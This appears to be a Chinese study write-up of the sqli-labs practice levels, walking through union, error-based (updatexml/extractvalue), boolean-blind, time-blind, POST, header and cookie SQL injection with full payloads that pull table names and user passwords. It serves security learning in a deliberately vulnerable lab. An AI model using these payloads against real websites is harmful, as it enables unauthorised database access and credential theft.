sql注入的两个关键点:1.用户能够控制的内容 2.web应用把用户输入的内容带到数据库中执行

判断是否存在注入;判断字段数;判断显错位;判断库名;判断表名;判断列名;判断数据

判断是什么注入类型,数字型(输入?id=1 and 1=1 --+来判断),字符型(输入?id=1' and 1=1 --+来判断),查找注入点,查询字段数(order by ),判断回显位(union select 1,2,3),爆破数据库(-1' union select 1,database(),3 --+),爆破表格名(-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database(),3 --+),爆破表格字段(-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='表格名',3 --+),获取字段值

less-1(字符型注入)

这一关注入的核心是利用单引号破坏sql语句的闭合,触发报错来验证注入点,再进一步获取数据。“Single quotes - String” 表示这关的注入点是单引号闭合的字符串类型

当我们在地址栏中输入?id=1时,显示如下图,这里的?通常用于表示传递参数,id代表变量参数,1代表参数的值

当我们输入?id=1'时,如下图,会报错,这是因为输入的单引号被一起拼接到数据库中执行了,导致多了单引号而报错。

在地址栏中输入?id=1 'and 1=1 -- +时,测试正常,当输入?id=1 'and 1=2 -- +时,数据显示不正常,那么可以确定此处为字符型注入。-- 为他的注释

查询字段数。接着我们可以输入?id=1 'order by (1-4) -- +可以看出3正常4异常,从而判断出此地方有三个字段。users表中只有3个字段,id,username,password,所以union select 的时候最多到3,order by排序的时候最多到3,你输入4他告诉你不存在第四个字段,所以只有三个字段数

之后判断显字位利用联合查询union select 1,2,3     写1,2,3是由于前面判断出了有三个字段,如果只在原有基础上加1,2,3,那么显示结果不会有区别,这是因为显示结果显示在了前面也就是id=1的地方,而没有显示后面。所以我们需要将id=1改成id不存在的一个数,这样前面就查询不出结果,因此便会显示后面联合查询的结果。如下图回显数为2,3.

union select有去重的功能,union all select 不去重,显示全部结果

当我们想让页面显示库名,我们可以输入?id=-1 'union select 11,database(),33 -- +

由上图可知,库名为security

想显示表名,可以输入?id=1 'union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1-- +

limit 后添加(0、1、2...),1可以分别查询第1,2,3...位表名

想要显示的为列名,我们可以输入?id=1 ' union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='emails' -- +

如上图,我们在查询这个表的第二列

column_name为查列名的一个字段,information_schema为数据库,与前面的保持不变,columns这个表名是需要变换的,他存储有我们的列名信息,where后面为条件,table_schema='security'即库名='',and table_name='emails'即表名=''

判断数据:?id=10 'union select 1,id(字段名),3 from emails(表名) -- +

less-2(整数型注入)

输入?id=2,显示正常

输入?id=2',显示如下,存在sql注入

输入?id=2 order by (1-3) --+ 时,输出正常

但当我们输入?id=2' order by 3 --+时,会显示输入错误,这里的2'会让id的条件变成字符串格式不匹配,同时'没有闭合,直接导致sql语法错误

当输入?id=2 order by 4 --+时,输出错误

再查看哪里可以回显,输入?id=1 union select 1,2,3 --+

查看数据库名

查看数据库中的表时,输入?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查看表中的所有字段时

查看表中的所有数据时

上述URL中,concat_ws是sql中带分隔符字符串拼接函数,语法:concat_ws(分隔符, 字段1, 字段2, ...),会自动忽略 NULL 值。

这里的分隔符可以是单个字符如逗号,竖线,井号,冒号等;多个字符如:_-、|@|、abc等

0x7e是十六进制编码,对应的 ASCII 字符是 ~(波浪线),这里作为用户名和密码之间的分隔符,方便后续拆分数据。

0x2c对应‘,’,0x7e对应‘~’,0x7c对应‘|’,0x20对应'空格'。

在这里可以不用写出字符的十六进制编码,可以使用单引号中加入对应的字符。

less-3(')闭合)

查看源码,他接受了一个get传参'id',将传参拼接到了下面的地方,会被框入其中,不会被当做代码执行,从而使得输入失效,可以利用')来与前面的('形成闭合。

pass-4(")闭合)

查看源码,双引号拼接到了id的左右,那么我们只需要输入?id=2")就可以形成闭合,如图所示

pass-5(报错注入)

当输入?id=2' and 2=2时,显示正确,说明是单引号闭合

当输入?id=2' order by 4 --+时,报错

当输入?id=2' union select 1,2,3 --+时,没有出现显错位

这里可以采用盲注,也可以采用updatexml报错注入

updatexml()为更新xml文档的函数

语法为:updatexml(目标xml内容,xml文档路径,更新的内容)

目标xml内容可以随便填,关键在于xml的文档路径,可以进行子查询,输入concat(0x7e,(select database()),0x7e).最终输入为updatexml(1,concat(0x7e,(select database()),0x7e),1)。

当我们输入?id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+时,显示如下

之后在查询表名时,我们只需将concat(0x7e,(select database()),0x7e)改为concat(0x7e,(select table_name from information_schema.tables where table_schema='security'),0x7e)

可是在我们输入上述码时,最后显示如下,子查询返回超过一行数据,所以我们可以单个查询

在'security'后输入limit (0....),1,便可逐个查询

查询列名时,输入concat(0x7e(select column_name from information_schema.columns where table_schema='security' and table_name='emails',0x7e)即可

查询数据时,输入concat(0x7e,(select id from emails),0x7e)即可

都不可以一起查询,都需要逐个查询

less-6(与less-5做法相同,闭合方式不同)

这题为"闭合。查看源码

less-7

当我们输入?id=2时,显示如下

这里使用outfile函数

判断字段数,输入?id=2')) order by 3 --+和?id=2')) order by 4 --+来判断

当输入后者时,显示如下,说明存在三个字段

PASS-8(布尔盲注)

length()函数   返回字符串的长度
substr()  截取字符串(语法:SUBSTR(str.pos,len);)
ascii()  返回字符的ascii码[将字符变为数字位]
时间型
sleep()将程序挂起一段时间n为n秒
if(expr1,expr2,expr3)判断语句  如果第一个语句正确就执行第二个语句如果错误执行第三个语句

存在SQL注入

有三个字段数

不存在显错位

当我们输入?id=2 ' and (length(database()))=8 --+时,显示如下,当我们用其他数字来替换8时,都不会显示,通过这个我们可以猜解库名长度

接着我们利用ASCII码来猜解当前数据库名称

当我们输入?id=2 ' and (ASCII(substr(database(),1,1)))=115 --+时,我们可以看到这个库名首字母的ASCII码为115,通过查询ASCII码,我们可以得到首字母为s,接着再改变1,1来实现其他为字母的查询

通过输入?id=2' and (ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)))=101 --+,我们可以查询到表名的第一个的第一位是e,然后继续采用这种方法,我们可以查询到所有表名

但我们输入?id=2' and (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105 --+时,显示如下,我们可以判断出emails表中额列名称第一位是i。继续采用这种方法,我们可以得出其他位

PASS-9(时间盲注)

当我们输入?id=2' and 2=3 --+,显示正常,并不代表它不存在注入

当我们输入?id=2' and if(length(database())=8,sleep(5),1) --+时,如果if(length(database())=8成立,那么便会执行sleep(5),即当前页面转圈圈5秒,如果不成立,便会执行后面的1,即这个页面的地址立刻执行,当他成立时,说明我们的库名长度就是8

在接下来的几项中,就是在pass-8的基础上,在and后面添加if,还有在注释前添加sleep(5),1如果语句成立,那么页面便会延迟显示。

PASS-10(与pass-9做法一致,闭合方式不同(采用"闭合))

如下所示

pass-11

pass-11为post传参,注入方式差不多

我们可以采取抓包的形式来得出输入的用户名和密码属于第一列和第二列

然后查询数据库名称,还是通过抓包的方法来修改

在查询表名时,输入uname=123'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=456&submit=Submit

查询列名时,输入uname=123'union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#&passwd=456&submit=Submit

查询数据时,输入uname=123'union select 1,group_concat(concat_ws('~',username,password)) from security.users#&passwd=456&submit=Submit

PASS-12(与pass-11方法一样,只是闭合方式变成了")闭合)

PASS-13(与pass-5做法一致)

我们输入123') union select (updatexml(1,concat(0x7e,(select database()),0x7e),1) ,1)#,便会出现下面的情况,即正确。前后列数要一致

使用工具可看到

然后替换concat后面的语句便可实现查询。

PASS-14(与pass-13一致,只是闭合方式变为了"闭合)

PASS-15

当我们输入admin' OR 1=1 -- -时,页面回显正确

当我们输入admin' AND 1=2 -- -时,页面回显错误。由此,我们可以判断这关为单引号闭合的布尔盲注

当输入admin' and length(database()) = 8 -- +时,页面回显正确,所以查询到数据库的长度为8。得知长度为 8,逐位推断每个字符的 ASCII 码,构造语句

输入admin' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database()) = 4 -- +,页面回显正确,可知security数据库中有4张表

判断第一张表的长度admin' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)) = 6 -- +

然后使用admin' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 3,1), 1, 1)) = 117 -- +来推断出表名,limit3,1对应第 4 张表users,第 1 位 ASCII 码117对应u

输入admin' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=database() AND table_name='users') = 3 -- +,可以推断出users表中有三个字段

然后输入admin' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 1,1), 1, 1)) = 117 -- +来逐字符推断字段名,LIMIT 1,1对应第 2 个字段username。

判断admin对应的password长度admin' AND LENGTH((SELECT password FROM users WHERE username='admin' LIMIT 0,1)) = 5 -- +

逐字符推断password内容admin' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin' LIMIT 0,1), 1, 1)) = 97 -- +,依次推断可得到完整密码

PASS-16(与pass15一致,只是闭合方式为")闭合)

PASS-17(报错注入)

本关模拟的是在某网站登录自己的账号后,利用修改密码来获取数据库里的其他用户数据,使用数据库的 update 更新数据,而不是查询数据

在password中输入1'报错而输入1不报错,可以推断出他为'闭合,当输入1 and 1=2不报错,则说明为字符型注入

当输入1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#,可查询数据库名称

输入1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#可查询表名

输入1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),0x7e),1)#
可查询列名

输入123' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x7e),1))#可查询emails表中的列名称。

输入1' and (updatexml (1,concat(0x7e,(select group_concat(id,email_id) from emails),0x7e),1))#可查看emails表中的数据,这个语句没有问题,但是结果过长触发了 updatexml 长度限制(默认只能显示 32 位左右),导致数据显示不全,就会显示如下:

解决这个我们可以使用1' and updatexml(1,concat(0x7e,mid((select group_concat(username) from (select username from users)a),n,n),0x7e),1)#和1' and updatexml(1,concat(0x7e,mid((select group_concat(password) from (select password from users)a),n,n),0x7e),1)#这两个语句来查询用户名和密码

  • 1' and:闭合 SQL 语句的单引号,构造永真条件以执行后续注入代码
  • updatexml(1,concat(0x7e, ... ,0x7e),1):利用updatexml函数要求第二个参数必须是合法 XML 格式的特性,通过concat拼接非 XML 字符(0x7e~的十六进制)触发报错,从而泄露查询结果
  • mid(...,n,n):截取查询结果中从第 n 位开始、长度为 n 的字符串(解决group_concat结果过长导致报错的问题),n,n一直向后延,便可得出所有。
  • #:注释掉后续 SQL 语句,避免语法错误

PASS-18

这一关是HTTP Header注入(user-agent/refer)+堆叠注入/报错注入,这里参数不在URL表单中,而是在HTTP请求头(如user-agent)里,且后端会将请求头内容拼接到 SQL 语句中执行,同时可能存在单引号闭合、转义绕过等细节。

我们可以通过抓包来修改User-Agent来达到目的,前提是输入的账号和密码正确。

PASS-19

抓包,修改refer:1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#用来查询库名

pass-20

当输入正确的用户和密码时,显示如下

抓包修改cookie注入

当我们输入-Dumb' union select 1,2,3# 显示字段,可知 name 和 password 分别在第二列和第三列

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐